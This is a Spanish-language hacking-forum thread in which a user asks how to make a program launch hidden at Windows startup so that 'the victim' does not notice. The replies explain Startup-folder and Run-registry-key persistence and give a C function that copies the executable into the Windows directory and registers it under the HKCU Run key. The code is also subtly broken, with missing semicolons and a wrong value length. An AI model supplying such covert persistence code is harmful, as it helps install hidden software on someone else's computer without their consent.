Hola tengo un programa que me gustaría que se iniciara solo al encender el windows y que no se vea,es decir que este en ejecución pero que la victima no se de cuenta.
que tan oculto lo quieres?
las 2 formas faciles son
crear un acceso directo en la carpeta inicio (del menu de windows)
crear una clave con la ruta del programa en el registro de configuracion de windows en la rama
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Me gustaría que cada vez que enciendo el pc el programa se ejecute automáticamente y qui no se vea abierto,solo que se ejecute.
tu segunda petición ya es parte de la programación del software. tienes que programarlo como un proceso, sin GUI o con opciones a linea de comandos para alternar ambas formas de arrancar
void copiarregistro()
{
char rutaactual[MAX_PATH]
char nuevaruta[MAX_PATH]
HMODULE GetModH = GetModuleHandle(0);
GetModuleFileNameA(GetModH, rutaactual, sizeof(rutaactual));
GetWindowsDirectoryA(nuevaruta, sizeof(nuevaruta));
strcat(nuevaruta, "\\ejemplo.exe");
CopyFileA(rutaactual, nuevaruta, 0);
HKEY hKey;
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueExA(hKey, "ejemplo.exe", 0, REG_SZ, (const unsigned char*)nuevaruta, sizeof(nuevaruta));
RegCloseKey(hKey);
}
· Los códigos deben ir en etiquetas GeSHi
>aquí las reglas del foro (http://foro.elhacker.net/reglas.htm)
-Engel Lex